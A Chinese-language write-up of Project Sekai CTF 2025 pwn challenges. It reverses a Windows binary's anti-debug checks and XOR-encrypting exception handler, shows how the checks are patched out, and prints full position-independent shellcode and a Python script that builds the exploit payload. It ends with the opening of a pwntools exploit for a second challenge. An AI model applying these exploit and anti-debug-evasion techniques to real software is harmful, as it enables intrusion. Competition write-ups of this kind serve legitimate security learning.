Project Sekai CTF 2025
Project Sekai CTF 2025 - PWN
README!!!
Important!!!
在阅读本文章前,请确保自己已经大喊一声:Wonderhoy!
否则,没有否则… … …
玩家ID:7555014970674043682
加我好友打歌喵 Wonderho~i!
Umiyuri Kaikeitan
题目
ウミユリ海底譚 (Umiyuri Kaikeitan) is a song by n-buna featuring Hatsune Miku. This song has nothing to do with the challenge, I suck at naming.
By the way, the Master Maimai chart is fun to play (though I couldn’t play it because of skill issue).
ZIP password: omg_it_migu
Author: nyancat0131
❖ Note
You will need to submit a payload that exploits the binary and displays flag.png to the screen.
题目分析
初步分析
Checksec Results: PE
┏━━━━━━━━━━┳━━━━━┳━━━━━━━━┳━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ File ┃ NX ┃ Canary ┃ ASLR ┃ Dynamic Base ┃ High Entropy ┃ SEH ┃ SafeSEH ┃ Force ┃ Control Flow ┃ Isolation ┃ Authenticode ┃
┃ ┃ ┃ ┃ ┃ ┃ VA ┃ ┃ ┃ Integrity ┃ Guard ┃ ┃ ┃
┡━━━━━━━━━━╇━━━━━╇━━━━━━━━╇━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ game.exe │ Yes │ Yes │ Yes │ Yes │ Yes │ Yes │ / │ No │ Yes │ Yes │ No │
└──────────┴─────┴────────┴──────┴──────────────┴───────────────┴─────┴─────────┴───────────────┴───────────────┴───────────┴──────────────┘
显而易见是winpwn(虽然但是bro之前唯一做过的winpwn还是个栈溢出ret2backdoor,刚开始拿到这个题直接冒冷汗了😰😰😰)
只给了一个exe,扔进IDA分析,main函数读入data.txt并循环异或“PJSK”然后输出到output.txt
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v3; // edi
int v4; // ebx
char *v5; // rsi
int v7; // [rsp+30h] [rbp+8h]
FILE *Stream; // [rsp+38h] [rbp+10h] BYREF
v3 = 0;
Stream = 0i64;
fopen_s(&Stream, "data.txt", "rb");
if ( !Stream )
goto LABEL_7;
v4 = 0;
v7 = 1263749712;
if ( !feof(Stream) )
{
v5 = (char *)&unk_140026BD0;
do
{
++v5;
++v3;
*(v5 - 1) = *((_BYTE *)&v7 + v4) ^ fgetc(Stream);
v4 = (v4 + 1) % 4;
}
while ( !feof(Stream) );
}
fopen_s(&Stream, "output.txt", "wb");
if ( Stream )
{
fwrite(&unk_140026BD0, 1ui64, v3, Stream);
return 0;
}
else
{
LABEL_7:
sub_140001020("Contact support\n");
return 0;
}
}
直接x64dbg或者ida调试发现没有走到main函数就寄掉了,应该是有反调试,一步一步调发现start调用的函数表
sub_140007850(&unk_14001A2C0, &unk_14001A2D8);
.rdata:000000014001A2C0 00 00 00 00 00 00 00 00 qword_14001A2C0 dq 0 ; DATA XREF: __scrt_common_main_seh(void)+75↑o
.rdata:000000014001A2C8 50 12 00 40 01 00 00 00 dq offset ?pre_cpp_initialization@@YAXXZ ; pre_cpp_initialization(void)
.rdata:000000014001A2D0 00 10 00 40 01 00 00 00 dq offset sub_140001000
调用了两个函数,其中第二个函数 sub_140001000 jmp 到的函数 sub_1400192A0 明显有着动态解析dll地址的代码。
sub_1400192A0 分析
函数首先遍历PEB找加载的模块,之后从模块遍历符号表解析函数地址,调用了一些函数,之后对代码段的代码进行xor修改,最后返回。 函数解析符号的时候频繁使用了0xCBF29CE484222325,是64 bit FNV-1a算法经常使用的常数。 代码中大量使用了 FNV-1a 哈希算法(64位),用于在运行时动态解析 API 函数名和模块名,以规避静态分析。
第 1 步:获取 ntdll.dll 模块句柄
程序首先遍历PEB 获取模块列表,并遍历列表,直到找到 ntdll.dll 模块,获取其基地址。
p_InLoadOrderModuleList = &NtCurrentPeb()->Ldr->InLoadOrderModuleList;
Flink = p_InLoadOrderModuleList->Flink;
if ( p_InLoadOrderModuleList->Flink == p_InLoadOrderModuleList )
{
LABEL_9:
v6 = 0LL;
}
else
{
while ( 1 )
{
v2 = Flink[6].Flink; // 指向 FullDllName 或 BaseDllName
if ( v2 )
{
v3 = (unsigned __int16)v2->Flink;
v4 = 0xCBF29CE484222325uLL; // FNV-1a 初始哈希值
if ( LOWORD(v2->Flink) )
{
do
{
v2 = (struct _LIST_ENTRY *)((char *)v2 + 2);
v5 = v3 + 32;
if ( (unsigned int)v3 - 65 > 0x19 )
v5 = v3;
v3 = (unsigned __int16)v2->Flink;
v4 = 0x100000001B3LL * (v5 ^ (unsigned __int64)v4);
}
while ( LOWORD(v2->Flink) );
if ( v4 == 0xE14B18A7ACF9C443uLL ) // 目标哈希
break;
}
}
Flink = Flink->Flink;
if ( Flink == p_InLoadOrderModuleList )
goto LABEL_9;
}
v6 = Flink[3].Flink; // 获取 DllBase
}
第 2 步:从 ntdll.dll 中解析 VirtualAlloc 函数
这一步程序解析了ntdll.dll 模块中的符号表(IMAGE_EXPORT_DIRECTORY),遍历导出的函数的符号,对比哈希找到目标函数对应的哈希,并取出地址偏移加上模块基地址存储备用。 拿到地址还会直接调用这个函数
v7 = *(unsigned int *)((char *)&v6[8].Blink + SHIDWORD(v6[3].Blink));
if ( (_DWORD)v7
&& (v8 = 0,
v9 = (unsigned int *)((char *)v6 + *(unsigned int *)((char *)&v6[2].Flink + v7)),
v10 = (__int64)v6 + *(unsigned int *)((char *)&v6[1].Blink + v7 + 4),
v11 = *(_DWORD *)((char *)&v6[1].Blink + v7),
v12 = (__int64)v6 + *(unsigned int *)((char *)&v6[2].Flink + v7 + 4),
v11) )
{
while ( 1 )
{
v13 = 0xCBF29CE484222325uLL;
v14 = (char *)v6 + *v9;
v15 = *v14;
if ( *v14 )
{
do
{
++v14;
v16 = v15 ^ (unsigned __int64)v13;
v15 = *v14;
v13 = 0x100000001B3LL * v16;
}
while ( *v14 );
if ( v13 == 0xFA55E32C9D72A921uLL )
break;
}
++v8;
++v9;
if ( v8 >= v11 )
goto LABEL_16;
}
v17 = ((__int64 (__fastcall *)(_QWORD, __int64, __int64, __int64))((char *)v6
+ *(unsigned int *)(v10
+ 4LL
* *(unsigned __int16 *)(v12 + 2LL * v8))))(
0LL,
88LL,
12288LL,
4LL);
}
else
{
LABEL_16:
v17 = MEMORY[0](0LL, 88LL, 12288LL, 4LL);
}
第 3 步:存储函数指针堆块到全局变量
Blink_high = SHIDWORD(v6[3].Blink);
v19 = (_QWORD *)v17; // store chunk ptr(v17) into v19
qword_140026BC0 = v17; // store into global var
第 4 步:解析 ntdll.dll 中的其他函数
其余函数被解析并存储地址到v19指向的chunk中 具体代码略。
第 5 步:解析 kernel32.dll 中的函数
具体代码略。
第 6 步:使用NtSetInformationProcess反调试
反编译代码:
((void (__fastcall *)(__int64, __int64, _QWORD, _QWORD))v126)(-2i64, 17i64, 0i64, 0i64);
实际调试到这个函数会发现程序会崩溃,而且后续也没有使用其返回值,所以我选择把call的汇编指令给nop了,这样就能进一步调试了。
第 7 步:获取当前进程的 PE 镜像信息
通过 GetModuleHandlew(NULL) 获取当前模块基地址,然后解析 DOS 头和 NT 头。
v127 = (*(__int64 (__fastcall **)(_QWORD))(qword_140026BC0 + 64))(0LL);
v128 = 0;
v129 = v127 + *(int *)(v127 + 60);
v130 = *(unsigned __int16 *)(v129 + 6);
v131 = v129 + *(unsigned __int16 *)(v129 + 20);
第 8 步:查找 .text 节区并解密
这一段代码对text段的代码进行了异或,中间使用VirtualProtect修改了text段的权限,然后对text段进行异或解密,最后再改回去原本的权限,这里异或的内容攻击者不可控。 而且这个异或是有范围的。程序有两个代码段,它是异或了第一个代码段,第二个代码段没有异或,而这目前运行的函数和handler都在第二个.text段,不会被影响。(甚至还是整个程序最靠后的两个函数)
| 地址 | 大小 | 所属方 | 页面信息 | 分配类型 | 当前保护 | 分配保护 |
|---|---|---|---|---|---|---|
| 00007FF6BC880000 | 0000000000001000 | 用户 | game.exe | IMG | -R--- | ERWC- |
| 00007FF6BC881000 | 0000000000018000 | 用户 | “.text” | IMG | ----- | ERWC- |
| 00007FF6BC899000 | 0000000000001000 | 用户 | “.text” | IMG | ER--- | ERWC- |
| 00007FF6BC89A000 | 000000000000B000 | 用户 | “.rdata” | IMG | -R--- | ERWC- |
| 00007FF6BC8A5000 | 000000000001A000 | 用户 | “.data” | IMG | -RW— | ERWC- |
| 00007FF6BC8BF000 | 0000000000001000 | 用户 | “.fptable” | IMG | -R--- | ERWC- |
| 00007FF6BC8C0000 | 0000000000001000 | 用户 | “.rsrc” | IMG | -R--- | ERWC- |
| 00007FF6BC8C1000 | 0000000000001000 | 用户 | “.reloc” | IMG | -R--- | ERWC- |
| 对应代码: |
if ( (_WORD)v130 )
{
v132 = (_BYTE *)(v131 + 26);
while ( *(v132 - 2) != 46 || *(v132 - 1) != 116 || *v132 != 101 || v132[1] != 120 || v132[2] != 116 || v132[3] )
{
++v128;
v132 += 40;
if ( v128 >= v130 )
goto LABEL_98;
}
v135 = 0;
v136 = v127 + *(unsigned int *)(v131 + 40LL * v128 + 36);
v137 = (*(_DWORD *)(v131 + 40LL * v128 + 32) + 4095) & 0xFFFFF000;
v133 = qword_140026BC0;
v138 = v136 + v137;
v139 = v137 >> 12;
*(_QWORD *)qword_140026BC0 = v136;
*(_QWORD *)(v133 + 8) = v138;
if ( v139 )
{
v140 = (__int64 *)&unk_140036BD8;
v141 = 1263749712LL;
v142 = 0LL;
do
{
// LCG 生成密钥
v143 = ((unsigned __int64)(48271 * v141) * (unsigned __int128)0x200000005uLL) >> 64;
v144 = 48271 * (_DWORD)v141 - 0x7FFFFFFF * (unsigned int)((v143 + ((unsigned __int64)(48271 * v141 - v143) >> 1)) >> 30);
v145 = 48271 * v144 % 0x7FFFFFFFuLL;
*(v140 - 1) = v145 | (v144 << 32);
v146 = (48271 * v145 * (unsigned __int128)0x200000005uLL) >> 64;
v147 = 48271 * (_DWORD)v145 - 0x7FFFFFFF * (unsigned int)((v146 + ((48271 * v145 - v146) >> 1)) >> 30);
v148 = ((unsigned __int64)(48271 * v147) * (unsigned __int128)0x200000005uLL) >> 64;
v141 = 48271 * (_DWORD)v147 - 0x7FFFFFFF * (unsigned int)((v148 + ((unsigned __int64)(48271 * v147 - v148) >> 1)) >> 30);
*v140 = v141 | (v147 << 32);
if ( *((_DWORD *)v140 + 2) != 1 )
{
v149 = v142 + *(_QWORD *)v133;
(*(void (__fastcall **)(__int64, __int64, __int64, char *))(v133 + 32))(v149, 4096LL, 4LL, &v152);
for ( i = 0LL; i < 512; i += 2LL )
{
*(_QWORD *)(v149 + 8 * i) ^= *(v140 - 1);
*(_QWORD *)(v149 + 8 * i + 8) ^= *v140;
}
v151 = qword_140026BC0;
*((_DWORD *)v140 + 2) = 1;
(*(void (__fastcall **)(__int64, __int64, __int64, char *))(v151 + 32))(v149, 4096LL, 1LL, &v152);
v133 = qword_140026BC0;
}
++v135;
v142 += 4096LL;
v140 += 3;
}
while ( v135 < v139 );
}
}
第 9 步:设置内存保护并调用回调函数
第一个函数是VirtualProtect,把函数表设置可读权限。 第二个函数是RtlAddVectoredExceptionHandler(0,sub_140019000),或者AddVectoredExceptionHandler,把异常处理函数添加到 VEH 链的末尾。 下面的代码中可以看出来handler函数的参数是struct _EXCEPTION_POINTERS *ExceptionInfo,返回值是PVECTORED_EXCEPTION_HANDLER
若要将控制权返回到发生异常的点,请返回EXCEPTION_CONTINUE_EXECUTION (0xffffffff) 。 若要继续处理程序搜索,请返回EXCEPTION_CONTINUE_SEARCH (0x0) 。
后续分析handler的时候可以利用这个信息,IDA中也有这个struct,直接按y重新定义一下。
winnt.h
//
// Typedef for pointer returned by exception_info()
//
typedef struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;
typedef LONG (NTAPI *PVECTORED_EXCEPTION_HANDLER)(
struct _EXCEPTION_POINTERS *ExceptionInfo
);
errhandlingapi.h
WINBASEAPI
_Ret_maybenull_
PVOID
WINAPI
AddVectoredExceptionHandler(
_In_ ULONG First,
_In_ PVECTORED_EXCEPTION_HANDLER Handler
);
当异常发生时,操作系统会从链的开头开始调用 VEH。因此,sub_140019000 将是最后一个被调用的 VEH(在所有其他 VEH 之后,但在结构化异常处理 SEH 之前)
(*(void (__fastcall **)(__int64, __int64, __int64, char *))(v133 + 32))(v133, 88LL, 2LL, &v153);
return (*(__int64 (__fastcall **)(_QWORD, __int64 (__fastcall *)()))(qword_140026BC0 + 48))(0LL, sub_140019000);
第一次触发异常
刚才经过分析了sub_140019000,由于其通过异或破坏了.text段代码段,程序ret到start函数调用的__scrt_common_main_seh()中,但是代码被破坏无法继续执行
00007FF6BC887868 | AC | lodsb |
00007FF6BC887869 | 28EE | sub dh,ch |
00007FF6BC88786B | 2034E3 | and byte ptr ds:[rbx],dh |
00007FF6BC88786E | 6E | outsb |
00007FF6BC88786F | 4D:E4 27 | in al,27 |
00007FF6BC887872 | 4B:E5 2D <----RIP | in eax,2D |
00007FF6BC887875 | 07 | ??? |
00007FF6BC887876 | 8169 3B D8C41CBA | sub dword ptr ds:[rcx+3B],BA1CC4D8 | rcx+3B:RtlpFreezeTimeBias+675B
00007FF6BC88787D | 57 | push rdi |
00007FF6BC88787E | 34 7D | xor al,7D |
00007FF6BC887880 | AD | lodsd |
00007FF6BC887881 | A4 | movsb |
00007FF6BC887882 | C746 B1 CC059EAC | mov dword ptr ds:[rsi-4F],AC9E05CC |
00007FF6BC887889 | 24 72 | and al,72 |
00007FF6BC88788B | 70 39 | jo game.7FF6BC8878C6 |
00007FF6BC88788D | 5C | pop rsp |
00007FF6BC88788E | 58 | pop rax |
00007FF6BC88788F | CE | ??? |
00007FF6BC887890 | 0907 | or dword ptr ds:[rdi],eax |
00007FF6BC887892 | 4B:ED | in eax,dx |
00007FF6BC887894 | 14 47 | adc al,47 |
00007FF6BC887896 | 42:8BAC96 E4202B43 | mov ebp,dword ptr ds:[rsi+r10*4+432B20E |
00007FF6BC88789E | 9B | fwait |
00007FF6BC88789F | 4E:AD | lodsq |
00007FF6BC8878A1 | A2 C312E7E78F52E5AD | mov byte ptr ds:[ADE5528FE7E712C3],al |
00007FF6BC8878AA | AB | stosd |
00007FF6BC8878AB | 94 | xchg esp,eax |
此时就会触发EXCEPTION_ACCESS_VIOLATION,进入handler。
Handler函数分析(sub_140019000)
反调试
IsDebuggerPresent
检测是否被调试器调试
if ( (*(qword_140026BC0 + 16))() ) //IsDebuggerPresent
{
v2 = *(qword_140026BC0 + 40);
v3 = (*(qword_140026BC0 + 56))();
v2(v3, 0LL);
}
GetCurrentProcess + CheckRemoteDebuggerPresent
检查是否被remotedebug
v4 = *(qword_140026BC0 + 24);
v5 = (*(qword_140026BC0 + 56))();//GetCurrentProcess
if ( v4(v5, &v27) && v27 )//CheckRemoteDebuggerPresent
{
v6 = *(qword_140026BC0 + 40);
v7 = (*(qword_140026BC0 + 56))();
v6(v7, 0LL);
}
NtCurrentPeb()->BeingDebugged
使用NtCurrentPeb()->BeingDebugged检测是否被debug NtCurrentPeb()->BeingDebugged实际上没有执行函数,而是直接gs寻址找出来的。
.text:0000000140019098 058 65 48 8B 04 25 60 00 00 mov rax, gs:60h
.text:0000000140019098 058 00
.text:00000001400190A1 058 80 78 02 00 cmp byte ptr [rax+2], 0
if ( NtCurrentPeb()->BeingDebugged )
{
v8 = *(qword_140026BC0 + 40);
v9 = (*(qword_140026BC0 + 56))();
v8(v9, 0LL);
}
GetCurrentProcess + NtQueryInformationProcess
查询ProcessDebugPort,检测是否被debug
v29 = 0LL;
v10 = *(qword_140026BC0 + 72);
v11 = (*(qword_140026BC0 + 56))();//GetCurrentProcess
if ( !v10(v11, 7LL, &v29, 8LL, 0LL) && v29 )//NtQueryInformationProcess
{
v12 = *(qword_140026BC0 + 40);
v13 = (*(qword_140026BC0 + 56))();
v12(v13, 0LL);
}
patch方法
把这些if跳转成功的跳转的汇编指令改成force jmp,就可以跳过if内部的代码块相当于if必定判断false。 patch之后分别是:
.text:000000014001901F 058 jmp short loc_140019044
...
.text:000000014001906C 058 jmp short loc_140019098
...
.text:00000001400190A5 058 jmp short loc_1400190CA
...
.text:0000000140019111 058 jmp short loc_140019136
...
异或代码段
unk_140036BD0指向的内容是我们可以通过读取文件覆盖掉的,每次只改0x1000的代码段。结构和sub_1400192A0类似。
ExceptionRecord = a1->ExceptionRecord; // a1 是函数传的参数
if ( a1->ExceptionRecord->ExceptionCode == 0xC0000005 )
{
ExceptionAddress = ExceptionRecord->ExceptionAddress;
v16 = *qword_140026BC0;
if ( *qword_140026BC0 <= ExceptionAddress
&& ExceptionAddress < *(qword_140026BC0 + 8)// 限制只更改第一个.text
&& ExceptionRecord->ExceptionInformation[0] != 1 ) // 限制exceptioninformation不等于1
{
v17 = (ExceptionAddress - v16) >> 12;
v18 = 24 * v17;
v19 = &unk_140036BD0 + 24 * v17;
if ( *(v19 + 4) )
{
v20 = (v17 << 12) + v16;
(*(qword_140026BC0 + 32))(v20, 4096LL, 4LL, &v28);
for ( i = 0LL; i < 512; i += 2LL )
{
*(v20 + 8 * i) ^= *(&unk_140036BD0 + v18);
*(v20 + 8 * i + 8) ^= *(&unk_140036BD0 + v18 + 8);
}
}
else
{
v22 = v17 + 1;
v23 = 24 * v22;
v19 = &unk_140036BD0 + 24 * v22;
if ( !*(v19 + 4) )
return 0xFFFFFFFFLL;
v20 = (v22 << 12) + v16;
(*(qword_140026BC0 + 32))(v20, 4096LL, 4LL, &v28);
for ( j = 0LL; j < 512; j += 2LL )
{
*(v20 + 8 * j) ^= *(&unk_140036BD0 + v23);
*(v20 + 8 * j + 8) ^= *(&unk_140036BD0 + v23 + 8);
}
}
v25 = qword_140026BC0;
*(v19 + 4) = 0;
(*(v25 + 32))(v20, 4096LL, 32LL, &v28);
return 0xFFFFFFFFLL;
}
}
return 1LL;
函数返回0xffffffff代表问题已经在这个handler解决,不需要执行别的handler,从异常的地址继续执行,返回0表示本handler解决不了,继续搜索别的handler,返回1是执行__except块。
except.h
// Defined values for the exception filter expression
#define EXCEPTION_EXECUTE_HANDLER 1
#define EXCEPTION_CONTINUE_SEARCH 0
#define EXCEPTION_CONTINUE_EXECUTION (-1)
上面的exceptionCode查到是STATUS_ACCESS_VIOLATION,同时ExceptionRecord.ExceptionInformation[1]要求不等于1
微软在文档中指出:
当异常代码未EXCEPTION_ACCESS_VIOLATION的时候,ExceptionInformation为0表示线程尝试读取不可访问的数据,为1表示线程尝试写入不可访问的地址,即进入异或需要线程尝试读取不可访问的数据。
| 异常代码 | 含义 |
|---|---|
| EXCEPTION_ACCESS_VIOLATION | 数组的第一个元素包含一个读写标志,该标志指示导致访问冲突的操作类型。 如果此值为零,则线程尝试读取不可访问的数据。 如果此值为 1,则线程尝试写入不可访问的地址。如果此值为 8,则线程导致用户模式数据执行防护 (DEP) 冲突。第二个数组元素指定不可访问数据的虚拟地址。 |
| EXCEPTION_IN_PAGE_ERROR | 数组的第一个元素包含一个读写标志,该标志指示导致访问冲突的操作类型。 如果此值为零,则线程尝试读取不可访问的数据。 如果此值为 1,则线程尝试写入不可访问的地址。如果此值为 8,则线程导致用户模式数据执行防护 (DEP) 冲突。第二个数组元素指定不可访问数据的虚拟地址。第三个数组元素指定导致异常的基础 NTSTATUS 代码。 |
winnt.h
...
#define STATUS_ACCESS_VIOLATION ((DWORD )0xC0000005L)
...
#define EXCEPTION_ACCESS_VIOLATION STATUS_ACCESS_VIOLATION
...
经过简单的逆向,我们可以发现可控内容unk_140036BD0里面的结构是大致这样的
struct xordata{
size_t xornum[2]; // 两个qword分别用来异或,每次for循环异或0x10的内容
size_t used; // 用来记录这个是已经被handler用过了
}unk_140036BD0[anUnimportantNum];
我们控制了这个结构体,就能够自定义异常位置的代码,长度最多0x10。
攻击思路
扩展可控代码长度
至此,我们拿到了0x10长度的任意代码执行。 由于远程靶机是上传payload在远程运行返回系统截图给攻击者,所以用python交互是不行了。 可惜的是,windows作为一个“混合内核”的系统,syscall并不像Linux那样能直接执行shell语句。 程序也没有提供执行命令的函数接口,远程机器的dll也没有在附件中给出。 因此只能使用地址无关的shellcode,网上都有编写教程,长度很长是无法避免的了。
我们可控的大部分区域都在读入的文件的地方,所以想办法改掉那里的权限为可执行,然后jmp过去就行了。 因此,我们可以利用handler函数末尾调用VirtualProtect函数设置权限的部分代码:
.text:0000000140019252 loc_140019252: ; CODE XREF: sub_140019000+1EF↑j
.text:0000000140019252 058 48 8B 05 67 D9 00 00 mov rax, cs:qword_140026BC0
.text:0000000140019259 058 4C 8D 4C 24 68 lea r9, [rsp+58h+arg_8]
.text:000000014001925E 058 44 89 76 10 mov [rsi+10h], r14d
.text:0000000140019262 058 41 B8 20 00 00 00 mov r8d, 20h ; ' '
.text:0000000140019268 058 BA 00 10 00 00 mov edx, 1000h
.text:000000014001926D 058 48 8B CB mov rcx, rbx
.text:0000000140019270 058 48 8B 40 20 mov rax, [rax+20h]
.text:0000000140019274 058 FF 15 1E 10 00 00 call cs:__guard_dispatch_icall_fptr
.text:000000014001927A
.text:000000014001927A loc_14001927A: ; CODE XREF: sub_140019000+209↑j
.text:000000014001927A 058 48 8B 74 24 30 mov rsi, [rsp+58h+var_28]
.text:000000014001927F 058 B8 FF FF FF FF mov eax, 0FFFFFFFFh
.text:0000000140019284 058 48 8B 6C 24 38 mov rbp, [rsp+58h+var_20]
.text:0000000140019289 058 48 83 C4 40 add rsp, 40h
.text:000000014001928D 018 41 5E pop r14
.text:000000014001928F 010 5F pop rdi
.text:0000000140019290 008 5B pop rbx
.text:0000000140019291 000 C3 retn
地址0x0000000140019274 call 的是 Windows CFG 安全机制插入的代码,内部会call这个函数的第一个参数。 Windows下传参顺序:RCX,RDX,R8,R9,栈 因此我们要控制rcx为读入buf的地址,即控制rbx寄存器,我们可以在jmp到这里之前设置。 除此之外还要设置rsi+0x10是个可写的合法地址,jmp到这里之前mov rsi,rsp即可。 为了能劫持执行流到读入的buf,即我们可以提前布置的shellcode,我们可以提前伪造一下栈帧,让ret指令正好ret到shellcode。
于是一个可行的方案:
.text:0000000140002170 000 48 8D 1D 59 4A 03 00 lea rbx, unk_140026BD0
.text:0000000140002177 000 53 push rbx
.text:0000000140002178 008 83 EC 58 sub esp, 58h
.text:000000014000217B 060 E9 D2 70 01 00 jmp loc_140019252
但是预期很好,现实总会给你当头一棒。 实测不知道为啥,第一个字节,即0x48总是异或不成功。(原本内存是0xf2,异或的数值是0xba,执行xor之后数值没变,还是0xf2) 找了个能跑的开头0xf2的汇编指令,冗余的指令放到下一个页内,只要当前页最后jmp过去触发异常执行handler就行了。 于是修改后的版本:
.text:0000000140002170 000 F2 0F 10 C1 movsd xmm0, xmm1
.text:0000000140002174 000 48 8D 1D 55 4A 02 00 lea rbx, unk_140026BD0
.text:000000014000217B 000 E9 8F 0E 00 00 jmp loc_14000300F
0x14000300F的地址也不是随便选的,这个地址原本存储的是一个mov [???],reg的指令,正好满足触发handler的条件。
jmp过去布置的shellcode:
.text:000000014000300F loc_14000300F: ; CODE XREF: __vcrt_freefls+B↑j
.text:000000014000300F 028 53 push rbx
.text:0000000140003010 030 48 83 EC 58 sub rsp, 58h
.text:0000000140003014 088 48 89 E6 mov rsi, rsp
.text:0000000140003017 088 E9 36 62 01 00 jmp loc_140019252
初始状态:
xor后状态:
之后jmp过去执行VirtualProtect:
函数末尾ret到shellcode:

之后就能执行可控的非常长的shellcode了。
生成Shellcode
我选择使用Github开源项目ShellcodeCompiler
后来才知道shellcraft也能生成:
shellcraft.amd64.windows.winexec(b’cmd /C “start flag.png”’)
Source.txt:
function system("msvcrt.dll");
system("start flag.png");
编译生成shellcode:
ShellcodeCompiler_x64.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
生成的shellcode:
; Shellcode generated using Shellcode Compiler
; https://github.com/NytroRST/ShellcodeCompiler
sub RSP, 0x28 ; 40 bytes of shadow space
and RSP, 0FFFFFFFFFFFFFFF0h ; Align the stack to a multiple of 16 bytes
xor rcx, rcx ; RCX = 0
mov rax, gs:[rcx + 0x60] ; RAX = PEB
mov rax, [rax + 0x18] ; RAX = PEB->Ldr
mov rsi, [rax + 0x20] ; RSI = PEB->Ldr.InMemOrder
lodsq ; RAX = Second module
Next_Module:
xchg rax, rsi ; RAX = RSI, RSI = RAX
lodsq ; RAX = Next Module
mov rcx, [rax + 0x50] ; RCX = Module Name
cmp dword [rcx], 0x45004b ; KE
jne Next_Module
cmp dword [rcx + 0x4], 0x4e0052 ; RN
jne Next_Module
cmp dword [rcx + 0x8], 0x4c0045 ; EL
jne Next_Module
cmp dword [rcx + 0xc], 0x320033 ; 32
jne Next_Module
mov rbx, [rax + 0x20] ; RBX = Base address
xor r8, r8 ; Clear r8
mov r8d, [rbx + 0x3c] ; R8D = DOS->e_lfanew offset
mov rdx, r8 ; RDX = DOS->e_lfanew
add rdx, rbx ; RDX = PE Header
xor rcx, rcx ; RCX = 0
mov cl, 0x88 ; RCX = 0x88 - Offset export table
add rcx, rdx ; RCX = PE Header + Offset export table
mov r8d, [rcx] ; R8D = Offset export table
add r8, rbx ; R8 = Export table
xor rsi, rsi ; Clear RSI
mov esi, [r8 + 0x20] ; RSI = Offset namestable
add rsi, rbx ; RSI = Names table
xor rcx, rcx ; RCX = 0
mov r9, 0x41636f7250746547 ; GetProcA
Get_Function:
inc rcx ; Increment the ordinal
xor rax, rax ; RAX = 0
mov eax, [rsi + rcx * 4] ; Get name offset
add rax, rbx ; Get function name
cmp [rax], r9 ; GetProcA ?
jnz Get_Function
xor rsi, rsi ; RSI = 0
mov esi, [r8 + 0x24] ; ESI = Offset ordinals
add rsi, rbx ; RSI = Ordinals table
mov cx, [rsi + rcx * 2] ; Number of function
xor rsi, rsi ; RSI = 0
mov esi, [r8 + 0x1c] ; Offset address table
add rsi, rbx ; ESI = Address table
xor rdx, rdx ; RDX = 0
mov edx, [rsi + rcx * 4] ; EDX = Pointer(offset)
add rdx, rbx ; RDX = GetProcAddress
mov rdi, rdx ; Save GetProcAddress in RDI
mov ecx, 0x41797261 ; aryA
push rcx ; Push on the stack
mov rcx, 0x7262694c64616f4c ; LoadLibr
push rcx ; Push on stack
mov rdx, rsp ; LoadLibraryA
mov rcx, rbx ; kernel32.dll base address
sub rsp, 0x30
call rdi ; GetProcAddress
add rsp, 0x30
add rsp, 0x10 ; Clean space for LoadLibrary string
mov rsi, rax ; LoadLibrary saved in RSI
xor rax, rax
mov ax, 0x6c6c
push rax
mov rax, 0x642e74726376736d
push rax
mov rcx, rsp ; RCX = DLL name
sub rsp, 0x30 ; Stack space
call rsi ; LoadLibrary
add rsp, 64
push rax ; DLL base on the stack
xor rax, rax
mov rax, 0x6d6574737973
push rax
mov rdx, rsp ; RDX = Function name
mov rcx, [rsp + 8]
sub rsp, 0x30 ; Stack space
call rdi ; GetProcAddress
add rsp, 56
push rax ; Function on the stack
xor rax, rax
mov rax, 0x676e702e6761
push rax
mov rax, 0x6c66207472617473
push rax
push rsp
push r12
mov rcx, [RSP + 8]
sub rsp, 0x20 ; Stack space
call [RSP + 64]
add rsp, 0x28
add RSP, 24
调试的时候发现开头sub RSP, 0x28的操作会把rsp干成非法值,考虑到没有影响便去掉了。
最终的exp:
def xor_bytes(b1: bytes, b2: bytes) -> bytes:
return bytes(a ^ b for a, b in zip(b1, b2))
def read_bytes_from_file(filename):
byte_data = bytearray()
with open(filename, 'rb') as file:
while True:
byte = file.read(1)
if not byte:
break
byte_data.extend(byte)
return bytes(byte_data)
shellcode=read_bytes_from_file("C:\\Users\\Lenovo1\\Desktop\\ShellcodeCompiler-master\\Release\\Shellcode.bin")[4:]
print(shellcode)
payload = shellcode.ljust(0x10000,b'a')
payload+=b'\xaf\x7f\xd0\x0e\xa6\xb1\x19\x3e\x06\xcc\x57\x4f\x6d\x10\xe2\x63'
payload+=b'\x00\x00\x00\x00\x00\x00\x00\x00'
payload+=xor_bytes(b'\xf2\xd3\x0f\x69\x73\x51\x16\x3f\x08\xf7\x67\x7d\xe5\x2a\x41\x3d',b"\xf2\x0f\x10\xc1\x48\x8d\x1d\x55\x4a\x02\x00\xe9\x8f\x0e\x00\x00")
payload+=b'\x01\x00\x00\x00\x00\x00\x00\x00'
payload+=xor_bytes(b'\x7e\x5b\xc5\xb5\xf7\x81\xfc\x85\x5e\x5f\x4d\x52\xcc\x74\xaa\x11',b"\x48\x83\xec\x58\x48\x89\xe6\xe9\x36\x62\x01\x00\x00\x00\x00\x53")
payload+=b'\x01\x00\x00\x00\x00\x00\x00\x00'
print(payload)
XORKEY = b'PJSK'
payload = bytearray(payload)
for i in range(len(payload)):
payload[i] ^= XORKEY[i % len(XORKEY)]
with open("data.txt", "wb") as f:
f.write(payload)
最后
可惜赛后出的… …
点我下载 data.txt
点我下载 game.exe.i64
Windows反调试太恶心了… … … …
Reference
Microsoft Learn 通义千问 ShellcodeCompiler
speedpwn 2
后面两题赛后闲着没事做着玩
拿got表走ogg直接拿shell
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
ELFpath = './chall'
p=remote('speedpwn-2.chals.sekai.team',1337,ssl=True)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)
#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')
